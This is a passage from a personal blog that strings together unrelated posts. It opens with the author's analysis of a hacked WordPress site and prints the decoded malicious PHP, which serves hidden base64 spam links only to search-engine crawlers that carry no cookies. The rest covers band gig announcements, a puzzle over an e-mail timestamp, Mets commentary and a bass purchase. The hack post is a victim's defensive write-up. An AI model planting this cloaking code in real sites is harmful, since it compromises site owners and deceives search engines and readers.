;))"==QfK0wOpcyMyEzbo [... lots more gibberish-looking stuff, which is actually base64_encode()'d stuff] J3byJXZ"(edoced_46esab(lave'

Now, read that backwards, and it says:

eval(base64_decode(" [gibberish] "));

After reversing and decoding the string of gibberish, we get the following code, which somehow gets injected into the rendering of the RSS:

("+(n[1]-1)+")<");
                arr[i].innerHTML=txt;
            }
            }
          }catch(e){};
     };
     addLoadEvent(setUserName);
     </script>';   
        }
    } }   
    add_action('admin_head','admin123');
    }
}

if(!function_exists('echo123')){ function echo123(){
    global $e123;
    if($e123) return;
    $txt=get_option('internal_links_cache');
    if($txt!="") echo base64_decode($txt);
} }
if(!function_exists('echo323')){ function echo323($c){
    global $e123;
    if($e123) return;
    $e123=true;
    $txt=get_option('internal_links_cache');
    if($txt!="") return base64_decode($txt).$c;
    return $c;
} }
if(preg_match("/bot|google|slurp|bing|msn|charlotte|crawl|yahoo|search|spider|inktomi|ask|alexa|seek/",$_SERVER["HTTP_USER_AGENT"])&&sizeof($_COOKIE)==0){
    add_action('the_content','echo323');
    add_action('wp_footer','echo123');
}

Reading the parameter into the preg_match() function, now I see why the spam appeared in Google Reader but not Bloglines.  Here’s what I don’t know:

• Who did this?
• How did this get into the database in the first place?
• How does that reversed code get un-reversed so that it can get evaluated and run?
• How do I prevent this stuff from happening again?

I will be following the thread to see what other solutions people are able to come up with, or if anyone is able to track the crackers down.  Please leave comments here or there if you are able to figure anything else out.  Thanks.

(Don’t forget what started this all — we’re playing a gig in Lindenhurst on August 14th!)

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What?  I’ve already heard from Ben that he sees the same thing in Google Reader.  Are there any Bloglines users that can let me know what you saw for this post?  Have any other WordPress users seen the same thing happen?  Will this post be readable in Google Reader?

By the way, please do not contact me if you’re interested in any of the fine products mentioned above.  You have found the wrong site.  (But maybe posting this will help my Google juice…)

The Yellow Box & The Heist
The Village Pub
174 N. Wellwood Ave.
Lindenhurst, NY
Friday, August 14th

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The only thing we don’t really know yet is what time everything is going to kick off, but it’s probably safe to assume that you won’t miss anything if you get there by 9:00.  We may also have a special guest starting the evening off right for us, so stay tuned!  Hope to see you in Lindenhurst!

As an added incentive, we are bringing some good friends of ours to the club.  The Heist will be playing the first set next Saturday, and they flat-out rock.  You have to hear these guys; we have missed rehearsal to go check them out live.  They’re worth it.  And we’re going to have a blast sharing the stage.

So, we hope to see you there, next Saturday, May 30.  The Heist goes on at 10, and we should start around 11.  Once again, the setting is:

Reflections Bar
324 Sunrise Highway
Rockville Centre, NY 11570

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We also have a Facebook page set up for the event, so let us know you’re coming!

There was an assignment due on Thursday, March 5th, at 2:30 PM.  We were still in Eastern Standard Time then, and would switch to Eastern Daylight Time nine days later.  The assignment had to be submitted through e-mail (a process which I will be changing for the fall, so that I don’t have to go through this again).  She used her Hotmail account to send the e-mail to my school account, which gets forwarded to my Gmail account.  In Gmail, when I click “Show details” on the e-mail, it says:

dateThu, Mar 5, 2009 at 2:41 PM

And so I assigned a grade of zero, because the assignment was late.  But when she forwarded me a copy of the e-mail from her sent folder, the following text appeared in it, presumably put there by Hotmail:

Date: Thu, 5 Mar 2009 13:41:27 -0500

13:41 is, of course, 1:41 PM in military time.  So, I’m trying to figure out exactly what is going on here, and I think it’s got to be one of the following:

• Scenario 1: Gmail has “translated” the original sent time, in EST, to EDT, so that it looks like 2:41.  I feel approximately 0% certain that this is the case, but I can’t test it until November, when we go back to EST.
• Scenario 2: Hotmail has “translated” the original sent time somehow.  Of course, for that to make sense, it would have had to make the time later, not earlier, since we “spring forward” and “fall back”.  Again, my certainty in this hovers around 0%.
• Scenario 3: In forwarding the original e-mail to me, the student — whom I have no reason to distrust based on any past events, but who is still a student trying to get good grades — changed the original time an hour earlier in an attempt to get credit for an assignment.  My certainty that this happened: 10%.

So, I’m 90% certain that whatever happened is something I really don’t understand, and am incapable of thinking up.  If any of you dear readers think up an alternate explanation, please let me know, because I’m out of ideas.  Thanks.

A couple of thoughts: First, no excuse for not signing Derek Lowe this off-season, and it was an even worse blunder to re-sign Oliver Perez. Now that Ollie’s finally out of the rotation (on the DL, instead of in Buffalo where he belongs), how is Nelson Figueroa not back up? Niese is a fine pitcher, but what else does Figgie have to do to earn a spot?

Carlos Delgado. (What else needs to be said?)

Lots of my non-Mets fan friends thought the Mets were crazy for a) not going after Manny Ramirez, and b) signing Gary Sheffield, both of which were moves I loved at the time. In retrospect, it’s been the smartest thing Omar could have done. Now the team has won six games in a row and is in a fight for first place. Great things seem to be ahead.

It still drives me right up the wall to see Jose Reyes come up to bat in the later innings against a struggling pitcher, swing at the first pitch (especially with ducks on the pond, as Keith Hernandez would say), pop up to an infielder, and let the opposing pitcher off the hook. Jerry and HoJo need to address this before Jose can become the superstar everyone wants him to become.

Ok, looks like Jack’s asleep, so I need to take this opportunity to write another final exam. Let’s Go Mets! And Happy Mother’s Day, especially to the new mom in my house, and the experienced mom in the house where I grew up.

I have finally decided, after months and months of searching for the right bass, that it doesn’t exist, and that creating it will either be difficult or expensive, and will still not guarantee that I will get the sound and feel I’m after.  So, instead I have ordered a four-string fretless Fender American Standard Jazz Bass, and Larry at Sam Ash will be installing a Hipshot de-tuner for me so that I can get down to the notes I need to get to.  While it’s not a perfect solution, no solution was going to be; and, at least, this bass will be ready to play when it gets to Sam Ash on Tuesday.

When I switched the site over to our new hosting provider a couple of months ago, I exposed a couple of hiccups.  Thanks to Vin and Michael for letting Rich know that the mp3′s were unaccessable from the Music Downloads page; they’re back.  And thanks to Ben for letting me know that the post right before this one looked absolutely terrible.  Once upon a time, I had set up my delicious.com account to automatically post new links to the blog.  I guess there was some sort of glitch with the way I had the site running on the old host, and I’m assuming that as I moved everything over to here, as the Bobs said in Office Space, “we fixed the glitch”.  Anyway, I turned off the delicious.com posting (since my bookmarks show up on the right side of the page anyway), and so that shouldn’t happen again.  Thank you all for looking out for us.

The past couple of weeks at the studio, we have had the best of intentions regarding setting up all our recording equipment, so that we can finally begin recording our debut album.  But the room sounds so good that we can’t stop jamming!  And we’ve had a couple of friends stop by to jam as well, which has also made the room sound amazing.  We’ll get there.

I promise, my next post will have pictures of Jack.  Finals end in a week, so I’ll have the time.